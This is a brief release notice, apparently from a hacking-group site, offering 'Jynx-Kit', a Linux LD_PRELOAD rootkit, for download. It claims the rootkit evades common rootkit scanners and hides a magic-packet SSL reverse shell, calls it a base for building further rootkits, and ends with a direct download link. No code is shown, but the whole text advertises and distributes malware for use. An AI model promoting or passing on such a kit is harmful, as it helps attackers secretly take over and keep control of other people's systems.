Jynx-Kit LD_PRELOAD Rootkit - Linux
Fully undetectable from chkrootkit and rootkithunter. Includes magic packet SSL reverse back connect shell based on SEQ/ACK numbers in a single packet. Solid building block for further LD_PRELOAD rootkits.

Download incl. ReadMe
http://www.blackhatacademy.org/releases/Jynx-Kit-Pub.tar.gz